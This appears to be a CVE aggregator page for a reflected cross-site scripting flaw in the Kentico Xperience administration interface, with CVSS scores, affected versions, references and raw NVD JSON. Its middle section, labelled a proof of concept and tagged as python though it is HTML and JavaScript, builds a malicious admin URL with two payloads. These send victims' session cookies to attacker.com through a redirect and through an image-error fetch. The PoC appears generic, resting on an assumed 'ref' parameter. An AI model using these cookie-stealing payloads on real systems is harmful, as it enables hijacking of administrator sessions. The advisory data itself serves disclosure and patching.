CVE-2023-53736

Description

A reflected cross-site scripting vulnerability in Kentico Xperience allows authenticated users to inject malicious scripts in the administration interface. Attackers can exploit this vulnerability to execute arbitrary scripts within the administrative context.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:* - VULNERABLE

Kentico Xperience < 13.0.200

Kentico Xperience < Hotfix 13.0.115

Kentico Xperience (CMS) versions prior to 13.0.200

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2023-53736 PoC - Reflected XSS in Kentico Xperience -->
<!-- Target: Kentico Xperience Administration Interface -->
<!-- This PoC demonstrates the reflected XSS vulnerability -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2023-53736 PoC</title>
</head>
<body>
    <h1>CVE-2023-53736 - Kentico Xperience Reflected XSS</h1>
    <p>Target: Kentico Xperience Administration Interface</p>
    
    <script>
        // Malicious URL that exploits the reflected XSS vulnerability
        // Replace 'TARGET_URL' with the actual Kentico Xperience instance URL
        const targetUrl = 'TARGET_URL/admin/cmsadministration.aspx';
        
        // Payload: Cookie stealer
        const xssPayload = '<script>document.location="https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie)+'"</script>';
        
        // Construct malicious URL with XSS payload
        const maliciousUrl = targetUrl + '?ref=' + encodeURIComponent(xssPayload);
        
        // Display the exploit URL
        document.write('<p>Malicious URL:</p>');
        document.write('<a href="' + maliciousUrl + '">' + maliciousUrl + '</a>');
        
        // Alternative payload for session hijacking
        const sessionHijackPayload = '<img src=x onerror="fetch(\'https://attacker.com/api/steal?data=\'+btoa(document.cookie))"/>';
        
        console.log('CVE-2023-53736 PoC');
        console.log('Payload:', xssPayload);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53736
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53736
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53736/
[4] VulDB https://vuldb.com/cve/CVE-2023-53736
[5] https://devnet.kentico.com/download/hotfixes
[6] https://www.vulncheck.com/advisories/kentico-xperience-administration-interface-reflected-xss

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-53736", "sourceIdentifier": "[email protected]", "published": "2025-12-18T20:15:51.060", "lastModified": "2025-12-27T17:15:41.567", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting vulnerability in Kentico Xperience allows authenticated users to inject malicious scripts in the administration interface. Attackers can exploit this vulnerability to execute arbitrary scripts within the administrative context."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.0.120", "matchCriteriaId": "ADE0C67A-43DD-423E-8871-A6809D376B65"}]}]}], "references": [{"url": "https://devnet.kentico.com/download/hotfixes", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/kentico-xperience-administration-interface-reflected-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}